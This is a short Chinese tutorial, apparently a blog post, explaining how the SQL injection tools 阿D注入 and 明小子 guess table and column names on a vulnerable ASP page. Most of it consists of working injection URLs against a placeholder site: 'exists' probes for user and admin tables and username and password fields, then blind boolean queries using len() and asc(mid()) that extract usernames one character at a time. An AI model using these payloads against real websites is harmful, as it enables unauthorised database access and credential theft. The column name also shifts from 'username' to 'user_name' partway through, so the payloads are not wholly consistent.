前面已经讲了关于是否存在注入点的说明.
现在讲下关于阿D注入和明小子检测存在注入猜表猜字段的原理.(使用工具一定要知道工具原理,方便后期自己完善/开发工具)
1.猜表的方法:
http://xxx.com/ProductShow.asp?articleid=143 and exists(select * from [user]) //查询是否存在user表
http://xxx.com/ProductShow.asp?articleid=143 and exists(select * from [admin]) //查询是否存在admin表
2.猜字段的方法:
http://xxx.com/ProductShow.asp?articleid=143 and exists(select username from [user]) //查询在user表是否存在username字段
http://xxx.com/ProductShow.asp?articleid=143 and exists(select password from [user]) //查询在user表是否存在password字段
3.逐个记录的获取和暴库
(1).先查询user表第一个记录中username的字段长度
http://xxx.com/ProductShow.asp?articleid=143 and (select top 1 len(username ) from [user])=1 //测试第一个记录用户名长度是不是1
http://xxx.com/ProductShow.asp?articleid=143 and (select top 1 len(username ) from [user])=2 //测试第一个记录用户名长度是不是2
.........直到测试正确
(2).从上面记录到第一条记录的username的长度(假设是5),开始猜测这个username5位到底是什么,方法就是1位1位的猜测,毕竟
ASCII码不多
http://xxx.com/ProductShow.asp?articleid=143 and (select top 1 asc(mid(user_name ,1,1)) from [user])=97 //测试username第1位是不是a(ASCII中97是字母a)
http://xxx.com/ProductShow.asp?articleid=143 and (select top 1 asc(mid(user_name ,2,1)) from [user])=98 //测试username第2位是不是b(ASCII中98是字母b)
.........直到测试正确
通过工具循环测试很快完成检测整个表中的所有记录
